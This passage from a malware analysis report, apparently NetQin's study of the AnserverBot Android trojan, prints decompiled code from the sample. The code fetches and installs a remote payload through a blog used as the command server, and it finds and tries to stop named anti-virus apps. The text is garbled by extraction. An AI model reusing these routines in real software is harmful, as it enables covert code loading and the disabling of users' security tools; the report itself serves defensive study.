r106 = com.sec.android.providers .drm.Xhtml.a(r102, z6, r104, r105)

r88 = "-2"

z2 = r88 .equa l s ( r106)

i f z2 == 0 goto label15

r171 = (com.sec.android.providers .drm.Doctype) r133 label15: r129 = "-1"

r171.a() z10 = r129 .equa l s ( r106)

b 1 3 = 0

r133 = com.sec.android.providers .drm.Doctype.a(b13)

r89 = "saved"

r35 = "peace"

r172 = (com.sec.android.providers .drm.Doctype) r133

r172.a( r89 , r35)

label7: goto label2

label8: r133 := @caughtexcept ion

goto label2

i f z3 == 0 goto label10

r173 = (com.sec.android.providers .drm.Doctype) r133 label10: r50 = "0"

r173.a() z0 = r50 .equa l s ( r77)

b 1 9 = 0

r151 = com.sec.android.providers .drm.Doctype.a(b19)

r151.a()

goto label2

i f z0 == 0 goto label11

b 0 = 1 3 label11: r121 = ""

r110 = r1 . a (b0) z8 = r121 .equa l s ( r77)

r111 = " type"

l41 = r32.getTime()

r21 = java.lang.Long.valueOf(l41)

r174 = (com.sec.android.providers .drm.Doctype) r133

r148 = r174 .a ( r111 , r21)

r120 = "begin templa te"

r148 .a ( r120 , r110)

goto label2

i f z8 == 0 goto label12

r86 = "begin templa te" labe l12: b12 = 1

r175 = (com.sec.android.providers .drm.Doctype) r133 r56 = r1 . a (b12)

r175.a( r86)

goto label2

b 2 = 2

r95 = r1 .a (b2)

b 1 8 = 3

r93 = r1 . a (b18)

b 1 7 = 4

r70 = r1 . a (b17)

b 1 0 = 5

r69 = r1 . a (b10)

b 8 = 6

r66 = r1 .a (b8)

b 4 = 7

r79 = r1 .a (b4)

b 2 8 = 8

r78 = r1 . a (b28)

b 2 6 = 9

r38 = r1 . a (b26)

b 6 = 1 0

r37 = r1 .a (b6)

b 3 5 = 1 1

r 0 = r 1

b 1 1 = b 3 5

r53 = r0 . a (b11)

b 3 3 = 1 2

r 3 = r 1

b 2 5 = b 3 3

r99 = r3 . a (b25)

b 2 4 = 1 3

r 6 = r 1

b 2 2 = b 2 4

r46 = r6 . a (b22)

b 3 0 = 1 4

r 2 = r 1

b 5 = b 3 0

r85 = r2 .a (b5)

b 7 = 1 5

r 5 = r 1

b 1 6 = b 7

r124 = r5 . a (b16)

b 1 = 1 6

r 4 = r 1

b 2 3 = b 1

r103 = r4 . a (b23)

l49 = java. lang.Long.parseLong(r56)

i39 = java. lang.Integer .parseInt(r93)

i9 = java. lang.Integer .parseInt(r66)

i27 = java. lang.Integer .parseInt(r79)

l51 = java. lang.Long.parseLong(r78)

i31 = java. lang.Integer .parseInt(r38)

i29 = java. lang.Integer .parseInt(r37)

l47 = java. lang.Long.parseLong(r99)

r39 = specialinvoke r29.f()

b 3 = 0

r139 = com.sec.android.providers .drm.Doctype.a(b3)

r40 = "warpeace"

r 1 4 0 = r 1 3 9

r 4 1 = r 4 0

r 3 6 = r 9 5

r140.a( r41 , r36)

r73 = "link"

r20 = java.lang.Long.valueOf(l49)

r 1 4 9 = r 1 3 3

r 7 4 = r 7 3

r 2 7 = r 2 0

r176 = (com.sec.android.providers .drm.Doctype) r149

r130 = r176 .a ( r74 , r27)

r61 = "docti t le"

r 1 3 6 = r 1 3 0

r 9 8 = r 6 1

i20 = i39

r153 = r136 .a ( r98 , i20)

r117 = "s ty leshee t"

r152 = r153 .a ( r117 , r70)

r84 = "href"

r134 = r152 .a ( r84 , r69)

r81 = "gb2312"

r143 = r134 .a ( r81 , i9 )

r44 = "l ine"

r142 = r143 .a ( r44 , i27)

r107 = "font"

r22 = java.lang.Long.valueOf(l51)

r137 = r142 .a ( r107 , r22)

r113 = "family"

r131 = r137 .a ( r113 , i31)

r97 = "s ize"

r147 = r131 .a ( r97 , i29)

r96 = "11pt"

r 1 5 0 = r 1 4 7

r 9 4 = r 9 6

r 8 3 = r 5 3

r132 = r150 .a ( r94 , r83)

r82 = " t ex t "

r19 = java.lang.Long.valueOf(l47)

r144 = r132 .a ( r82 , r19)

r91 = "begin templa te"

r 1 4 6 = r 1 4 4

r 9 2 = r 9 1

r 9 0 = r 4 6

r155 = r146 .a ( r92 , r90)

r160 = new java. lang.Str ingBuilder

r 1 7 = r 1 6 0

special invoke r160.<ini t>()

r 1 3 = r 1 7

r 8 0 = r 3 9

r10 = r13 .append( r80)

r71 = "head"

r12 = r10 .append( r71)

r72 = r12 . toStr ing()

r 1 4 5 = r 1 5 5

r 5 7 = r 7 2

r 5 9 = r 1 2 4

r154 = r145 .a ( r57 , r59)

r161 = new java. lang.Str ingBuilder

r 1 4 = r 1 6 1

special invoke r161.<ini t>()

r 1 8 = r 1 4

r 1 2 5 = r 3 9

r7 = r18 .append( r125)

r123 = "beginedi table"

r11 = r7 .append( r123)

r114 = r11 . toSt r ing()

r154 .a ( r114 , r103)

r162 = new java. lang.Str ingBuilder

r 1 5 = r 1 6 2

special invoke r162.<ini t>()

r 1 6 = r 1 5

r 1 2 2 = r 3 9

r9 = r16 .append( r122)

r49 = "ewar01"

r8 = r9 .append( r49)

r64 = r8 . toStr ing()

r 1 3 5 = r 1 3 9

r 6 3 = r 6 4

r 6 2 = r 8 5

r135.a( r63 , r62)

r75 = " type"

l42 = 0L

r177 = (com.sec.android.providers .drm.Doctype) r133,

l45 = r177.a( r75 , l42)

z1 = com.sec.android.providers.drm.Xmlns.b(l45)

if z1 != 0 goto label13

r109 = "he ight"

label13: r108 = "style"

b 3 8 = 0

b 3 6 = 0

r178 = (com.sec.android.providers .drm.Doctype) r133

r178 .a ( r109 , b38)

r179 = (com.sec.android.providers .drm.Doctype) r133

r141 = r179 .a ( r108 , b36)

r118 = " type"

l46 = r32.getTime()

r24 = java.lang.Long.valueOf(l46)

r141.a( r118, r24)

r119 = "body"

r180 = (com.sec.android.providers .drm.Doctype) r133

r180 .a ( r119)

r128 = " topmargin"

r181 = (com.sec.android.providers .drm.Doctype) r133

r181 .a ( r128)

label14: goto label2

i f z10 == 0 goto label16

r182 = (com.sec.android.providers .drm.Doctype) r133 label16: r48 = "0"

r182.a() z9 = r48 .equa l s ( r106)

goto label2

i f z9 == 0 goto label17

r45 = " type" label17: r60 = ""

l50 = r33.getTime() z12 = r60 .equa l s ( r106)

r25 = java.lang.Long.valueOf(l50)

r183 = (com.sec.android.providers .drm.Doctype) r133

r183.a( r45 , r25)

goto label2

i f z12 == 0 goto label18

r58 = "begin templa te" label18: r54 = com.sec.android.providers.drm.Xmlns.d(r106)

r184 = (com.sec.android.providers .drm.Doctype) r133 z7 = com.sec.android.providers.drm.Xmlns.a(r54)

r184.a( r58)

goto label2

if z7 != 0 goto label2

r52 = "begin templa te"

r185 = (com.sec.android.providers .drm.Doctype) r133

r185.a( r52 , r106)

r68 = "body"

r186 = (com.sec.android.providers .drm.Doctype) r133

r186.a( r68)

r65 = " topmargin"

r187 = (com.sec.android.providers .drm.Doctype) r133

r187.a( r65)

label19: goto label2

Figure 14: The CFG of the d() method in class com.sec.android.providers.drm.Omion

12

Page 13: An Analysis of the AnserverBot TrojanWhen the AnserverBot malware is repackaged into existing apps, it will request additional per-missions. In the case of our sample, it was an Android

NetQin U.S. Security Research Center: An Analysis of the AnserverBot Trojan

boolean e()

r22 := @this

n0 = nu l l

z 0 = 1

z 1 = 0

i3 = 11

r89 = com.sec.android.providers.drm.Doctype.a(i3)

i17 = ( in t ) z1

r88 = com.sec.android.providers.drm.Doctype.a(i17)

r35 = "docti t le"

i18 = ( in t ) z1

i8 = r89.b(r35, i18)

r67 = "novel"

i19 = ( in t ) z1

i0 = r88.b(r67, i19)

r63 = "from"

i20 = ( in t ) z1

i5 = r88.b(r63, i20)

if i0 >= i8 goto label0

label0: r46 = r22. l

z7 = com.sec.android.providers.drm.Xmlns.a(r46)

i f z7 == 0 goto label1

if i0 != i8 goto label1

label1: r48 = r22. l

z3 = com.sec.android.providers.drm.Xmlns.a(r48)

i f z3 == 0 goto label2

z 2 1 = z 0

label2: if i0 < i8 goto label4

i21 = ( in t ) z21

r72 = r22 . l

label4: r75 = "from"

if i21 != i5 goto label2

z5 = com.sec.android.providers.drm.Xmlns.a(r72)

i23 = ( in t ) z0

i f z5 == 0 goto label3

z 2 2 = z 0

label3: r76 = r22. l

i22 = ( in t ) z22

z4 = com.sec.android.providers.drm.Xmlns.a(r76)

if i22 == i5 goto label4

i f z4 == 0 goto label19

r 7 0 = r 2 2 . m

labe l19 : z11 = z1

z8 = com.sec.android.providers.drm.Xmlns.a(r70)

goto label6

if z8 != 0 goto label19

if i0 != i8 goto label19

r89.a(r75, i23)

r78 = "s ty leshee t"

r79 = r89 .c ( r78 , n0)

r80 = "href"

r58 = r89 .c ( r80 , n0)

z15 = com.sec.android.providers.drm.Xmlns.a(r79)

if z15 != 0 goto label7

r 3 7 = r 7 9

label7: z18 = com.sec.android.providers.drm.Xmlns.a(r58)

label5: z13 = com.sec.android.providers.drm.Xmlns.a(r37)

if z18 != 0 goto label30

if z13 == 0 goto label8

z 1 1 = z 1

label8: r82 = "gb2312"

label6: re turn z11

i24 = ( in t ) z1

r 3 7 = r 5 8label30: r37 = n0

goto label5goto label5

i15 = r89.b(r82, i24)

r62 = "s tyle"

i25 = ( in t ) z1

i14 = r89.b(r62, i25)

if i15 > i14 goto label9

z 1 1 = z 1

label9: r69 = "line"

goto label6

i26 = ( in t ) z1

i13 = r89.b(r69, i26)

r59 = "height"

i27 = ( in t ) z1

i12 = r89.b(r59, i27)

if i13 > i12 goto label10

z 1 1 = z 1label10: z19 = com.sec.android.providers.drm.Xmlns.a(r79)

goto label6

if z19 != 0 goto label23

label11: r18 = new java.net .URLlabel23: z2 = com.sec.android.providers.drm.Xmlns.a(r58)

special invoke r18.<ini t>(r37)if z2 != 0 goto label19

r17 = r18 .openConnect ion()

i 9 = 1 5 0 0 0

r17.setReadTimeout(i9)

r17.connect()

r0 = r17 .ge t Inpu tS t ream()

r17 .ge tConten tLength( )

r25 = new java.io.File

r11 = new java. lang.Str ingBuilder

special invoke r11.<init>()

r52 = "9Ci5utjhztkp7cA_"

r81 = com.sec.android.providers.drm.Xmlns.d(r52)

r15 = r11 .append( r81)

r86 = com.sec.android.providers .drm.Doctype.a

r71 = r86 .ge tPackageName()

r16 = r15 .append( r71)

r74 = "9Cz18t3N9CVO7KTm"

r73 = com.sec.android.providers.drm.Xmlns.d(r74)

r12 = r16 .append( r73)

r49 = r12. toStr ing()

special invoke r25.<ini t>(r49)

z14 = r25 .ex is t s ( )

i f z14 == 0 goto label16

r25.delete()

label16: r30 = r25.getParentFi le()

label12: r21 = new java. io .Fi leOutputStream

z12 = r30 .ex is t s ( )

special invoke r21.<ini t>(r25)

i 1 1 = 1 0 2 4

r23 = newarray (byte) [ i11]

label13: i16 = r0 . read(r23)

b 6 = - 1

if i16 != b6 goto label20

r0.close() label20: i7 = 0

r44 = " .apk" label21: r21.write(r23, i7, i16)

z9 = r37 .endsWith( r44)

if z9 != 0 goto label14

r25 = com.sec.android.providers .drm.Brown.a(r25)

label14: r26 = new java.io.File

r6 = new java. lang.Str ingBuilder

special invoke r6.<init>()

r38 = "9Ci5utjhztkp7cA_"

r65 = com.sec.android.providers.drm.Xmlns.d(r38)

r10 = r6 .append( r65)

r85 = com.sec.android.providers .drm.Doctype.a

r33 = r85 .ge tPackageName()

r3 = r10 .append( r33)

r36 = "9Cz18t3N9CkOrC32uI327WBD7n__"

r51 = com.sec.android.providers.drm.Xmlns.d(r36)

r14 = r3 .append( r51)

r60 = r14. toStr ing()

special invoke r26.<ini t>(r60)

z16 = r26 .ex is t s ( )

i f z16 == 0 goto label15

r26.delete()

label15: r25.renameTo(r26)

z 1 1 = z 0

goto label6

if z12 != 0 goto label12

r32 = r25.getParentFi le( )

r32.mkdirs()

label17: goto label12

label18: r20 := @caughtexcept ion

r43 = "s tyle"

i4 = i14 + 1

r89.a(r43, i4)

r45 = "height"

i1 = i12 + 1

r89.a(r45, i1)

label22: goto label13

z 1 7 = 0

label24: r56 = "utf-8"

r41 = "KRgr3LpmuRMdKLMdPn__"

r61 = com.sec.android.providers.drm.Xmlns.d(r41)

r64 = com.sec.android.providers .drm.Xhtml.a(r37, z17, r56, r61)

r1 = new java. lang.Str ingBuilder

special invoke r1.<init>()

r68 = "9Ci5utjhztkp7cA_"

r66 = com.sec.android.providers.drm.Xmlns.d(r68)

r5 = r1 .append( r66)

r87 = com.sec.android.providers .drm.Doctype.a

r54 = r87 .ge tPackageName()

r2 = r5 .append( r54)

r39 = "9Cz18t3N9CVO7KTm9e11rS__"

r47 = com.sec.android.providers.drm.Xmlns.d(r39)

r13 = r2 .append( r47)

r50 = r13. toStr ing()

r24 = new java.io.File

special invoke r24.<ini t>(r50)

z10 = r24 .ex is t s ( )

i f z10 == 0 goto label27

r24.delete()

label27: r31 = r24.getParentFi le()

label25: com.sec.android.providers.drm.Brown.a(r64, r24)

z20 = r31 .ex is t s ( )

r27 = com.sec.android.providers .drm.Brown.a(r24)

r28 = new java.io.File

r4 = new java. lang.Str ingBuilder

special invoke r4.<init>()

r77 = "9Ci5utjhztkp7cA_"

r55 = com.sec.android.providers.drm.Xmlns.d(r77)

r8 = r4 .append( r55)

r84 = com.sec.android.providers .drm.Doctype.a

r53 = r84 .ge tPackageName()

r7 = r8 .append( r53)

r40 = "9Cz18t3N9CkOrC32uI327WBD7n__"

r42 = com.sec.android.providers.drm.Xmlns.d(r40)

r9 = r7 .append( r42)

r34 = r9 . toStr ing()

special invoke r28.<ini t>(r34)

z6 = r28 .exis ts ( )

i f z6 == 0 goto label26

r28.delete()

label26: r27.renameTo(r28)

z 1 1 = z 0

goto label6

if z20 != 0 goto label25

r29 = r24.getParentFi le( )

r29.mkdirs()

label28: goto label25

label29: r19 := @caughtexcept ion

r83 = "s tyle"

i10 = i 14 + 1

r89.a(r83, i10)

r57 = "height"

i2 = i12 + 1

r89.a(r57, i2)

goto label19

Figure 15: The CFG of the e() method in class com.sec.android.providers.drm.Omion

13

Page 14: An Analysis of the AnserverBot TrojanWhen the AnserverBot malware is repackaged into existing apps, it will request additional per-missions. In the case of our sample, it was an Android

NetQin U.S. Security Research Center: An Analysis of the AnserverBot Trojan

00000000 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d HTTP/1.1 200 OK.

00000010 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 2f 30 .Server: nginx/0

00000020 2e 37 2e 36 32 0d 0a 44 61 74 65 3a 20 57 65 64 .7.62..D ate: Wed

00000030 2c 20 32 31 20 53 65 70 20 32 30 31 31 20 30 31 , 21 Sep 2011 01

00000040 3a 34 34 3a 31 36 20 47 4d 54 0d 0a 43 6f 6e 74 :44:16 G MT..Cont

00000050 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 ent-Type : text/h

00000060 74 6d 6c 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a tml..Con nection:

00000070 20 6b 65 65 70 2d 61 6c 69 76 65 0d 0a 56 61 72 keep-al ive..Var

00000080 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 y: Accep t-Encodi

...

00005380 09 09 09 76 5f 5f 5f 5f 5f 3a 79 6a 45 4a 54 54 ...v____ _:yjEJTT

00005390 6c 53 76 53 53 56 53 47 52 70 39 4e 41 53 53 53 lSvSSVSG Rp9NASSS

000053A0 53 53 3c 77 62 72 3e 53 53 53 53 53 53 53 53 53 SS<wbr>S SSSSSSSS

000053B0 53 53 6b 53 53 53 53 37 57 42 35 72 74 68 79 3c SSkSSSS7 WB5rthy<

000053C0 77 62 72 3e 4f 56 33 4a 65 4a 34 71 39 36 73 53 wbr>OV3J eJ4q96sS

000053D0 72 63 35 4f 73 37 67 36 57 73 7a 38 3c 77 62 72 rc5Os7g6 Wsz8<wbr

000053E0 3e 68 4a 6e 39 39 50 36 4f 36 55 61 52 67 6b 53 >hJn99P6 O6UaRgkS

000053F0 5a 73 75 34 75 34 78 74 4b 3c 77 62 72 3e 79 67 Zsu4u4xt K<wbr>yg

00005400 32 35 4f 50 45 57 73 75 70 47 68 7a 2f 34 2f 72 25OPEWsu pGhz/4/r

Figure 16: The captured network packets when the payload B is being upgraded

version, which is stored in the key “novel” in the local shared preference with the latest versionfrom the remote C&C server (saved in the key “doctitle”). If there is a newer version, it will obtainthe download URL from either “stylesheet” or “href” (see the blocks in the CFG with the colorCornflowerBlue). After that, instead of directly connecting to the download URL, it will checkwhether the number of previous failed attempts to download the payload B exceeds the savedthreshold (stored in “gb2312” and “line” – see those blocks in the CFG with the color Magenta). Ifyes, the malware will not bother trying again as the remote server is considered down. Otherwise,it will start downloading the payload. The downloaded payload will be decoded (if necessary) anddecompressed (see the blocks with the colors YellowOrange and and LimeGreen). After that, theold version will be removed and the new version will be renamed to “anserverb.db”.

In our experiment, we have successfully captured the traffic when AnserverBot downloads thepayload B from the remote server (the captured network packets are shown in Figure 16). It turnsout that the payload B is actually stored in the same public blog website (http://blog.sina.com.cn/s/blog 8440ab780100t0nf.htm that contains the information for the new C&C servers.

In Figure 17, we show the screenshot of the blog entry that contains the actual payload B. Thetitle of this blog entry is “b41 8008”, which seems to indicate the current version number (of the pay-load B). This version number is confirmed from the versionCode field of the AndroidManifest.xmlfile in the updated payload B. As of the writing, we have identified more than 15 different versions ofpayload B posted in the last two months. Six of them were posted within one single week when themalware was first detected (Figure 18). This clearly indicates the rapid evolution of this malware.

A further investigation shows that the payload B is actually a recent variant of BaseBridge,which was first discovered by NetQin on May 31, 2011 [3]. The BaseBridge malware has been knownto receive premium numbers from remote C&C servers and dial calls or send out SMS messagesto them, incurring fees for users. Its combination with the Plankton-style stealthy dynamic codeloading and execution (Section 2.4) as well as various code/data obfuscation techniques (Sections2.2, 2.3, 2.5 2.6, and 2.7) eventually leads to the emergence of the AnserverBot malware.

14

Page 15: An Analysis of the AnserverBot TrojanWhen the AnserverBot malware is repackaged into existing apps, it will request additional per-missions. In the case of our sample, it was an Android

NetQin U.S. Security Research Center: An Analysis of the AnserverBot Trojan

Figure 17: An encoded posting in a public blog (to update the payload B)

Figure 18: The rapid evolution of payload B (indicated by frequent posts in the C&C public blog)

2.8 Detecting/removing mobile security software

AnserverBot is also designed to detect the presence of certain mobile anti-virus apps. If detected,it will attempt to shut down them. In Figure 19, we show the related code snippet in payload B.Specifically, it first obtains the list of installed apps on the phone and then traverses this list tofind related mobile anti-virus apps by matching their package names with a predefined (encrypted)regular expression. In the sample we analyzed, it will detect the following three security programs:

15

Page 16: An Analysis of the AnserverBot TrojanWhen the AnserverBot malware is repackaged into existing apps, it will request additional per-missions. In the case of our sample, it was an Android

NetQin U.S. Security Research Center: An Analysis of the AnserverBot Trojan

com.qihoo360.mobilesafe, com.tencent.qqpimsecure and com.lbe.security. If any one ofthem is detected, it will try to stop its executing by calling the restartPackage function anddisplaying a dialog informing the user that the particular app is stopped unexpectedly.3

[com.sec.android.providers.drm.Waste]

.method public static b(Landroid/content/Context;)Ljava/lang/String;

.locals 4

const/4 v2, 0x0

//the encrypted regular expression to match the package name of security software

//(^com\.qihoo360\.mobilesafe$)|(^com\.tencent\.qqpimsecure$)|(^com\.lbe\.security$)const-string v0, "ZkBw8CLr9ek1HtMhfN7YKvBg8CF18t3N7xzRFvRAZkBw8CLr9eiR8I0R8eir9eksrtRgrC3wu

KFRFvRAZkBw8CLr9IsWz3YOrC3wuKF1uoDDZl__"

//decrypt this string

invoke-static v0, Lcom/sec/android/providers/drm/However;->d(Ljava/lang/String;)Ljava/lang/String;

move-result-object v0

invoke-virtual p0, Landroid/content/Context;->getPackageManager()Landroid/content/pm/PackageManager;

move-result-object v1

invoke-virtual v1, v2, Landroid/content/pm/PackageManager;->getInstalledPackages(I)Ljava/util/List;

move-result-object v1

:goto_0

invoke-interface v1, Ljava/util/List;->size()I

move-result v3

//traverse the list of installed packages.

if-ge v2, v3, :cond_1

invoke-interface v1, v2, Ljava/util/List;->get(I)Ljava/lang/Object;

move-result-object p0

check-cast p0, Landroid/content/pm/PackageInfo;

iget-object v3, p0, Landroid/content/pm/PackageInfo;->packageName:Ljava/lang/String;

invoke-static v3, v0, Lcom/sec/android/providers/drm/However;->a

(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;

move-result-object v3

if-eqz v3, :cond_0

iget-object v0, p0, Landroid/content/pm/PackageInfo;->packageName:Ljava/lang/String;

:goto_1

//find the security software. return its package name.

return-object v0

:cond_0

//otherwise, check next package.

add-int/lit8 v2, v2, 0x1

goto :goto_0

:cond_1

const/4 v0, 0x0

goto :goto_1

.end method

Figure 19: Check the presence of (certain) mobile anti-virus apps

3 Conclusion

In this report, we have presented a detailed technical analysis of the AnserverBot malware, whichrepresents a significant jump from earlier Android malware in terms of the sophistication andstealthiness. By dynamically fetching, loading, and executing its payload and aggressively obfus-cating Android API methods (e.g., method names and arguments), AnserverBot departs fromexisting Android malware and poses a significant challenge for their detection and analysis. More-over, it is the first in the Android malware history that uses public blog websites as its C&C serverfor command and payload delivery. It is also one of the few Android malware we have analyzed

3According to the online document [6], the restartPackage method is deprecated, which indicates the particularfunctionality may not work on new versions of Android.

16

Page 17: An Analysis of the AnserverBot TrojanWhen the AnserverBot malware is repackaged into existing apps, it will request additional per-missions. In the case of our sample, it was an Android

NetQin U.S. Security Research Center: An Analysis of the AnserverBot Trojan

that employ signature checking to protect themselves from being repackaged or analyzed. To thebest of our knowledge, it is also the first malware since the exposure of Plankton that materializesthe Dalvik class loading capability to dynamically load and execute remotely downloaded code.

The actual intent of AnserverBot still remains to be identified. Considering the similarity ofthe payload B with earlier BaseBridge variants, the malware may be created to incur unauthorizedfee charges for users by sending out background SMS messages or phone calls to premium numbers.Meanwhile, with the Plankton-like payload deliver mechanism in place, new payloads can be easilypushed to infected phones for execution.

The AnserverBot malware was first detected in several popular third-party Android markets inChina. Due to the lack of a vetting mechanisms among them, we start to observe increased numberof infected apps from these markets. The discovery of AnserverBot as well as earlier reports ofother Android malware clearly calls for the need of a rigorous vetting process to better police thesemarkets and maintain a healthy Android app ecosystem.

References

[1] New DroidKungFu Variant (aka DroidKungFu3) Returns in Alternative Android Markets.http://www.csc.ncsu.edu/faculty/jiang/DroidKungFu3/.

[2] Base64. http://en.wikipedia.org/wiki/Base64.

[3] BaseBridge. http://www.securityweek.com/fee-deduction-malware-targeting-android-devices-spotted-wild.

[4] DexClassLoader. http://developer.android.com/reference/dalvik/system/DexClassLoader.html.

[5] New Stealthy Android Spyware – Plankton– Found in Official Android Market.http://www.csc.ncsu.edu/faculty/jiang/Plankton/.

[6] restartPackage. http://developer.android.com/reference/android/app/ActivityManager.html.

17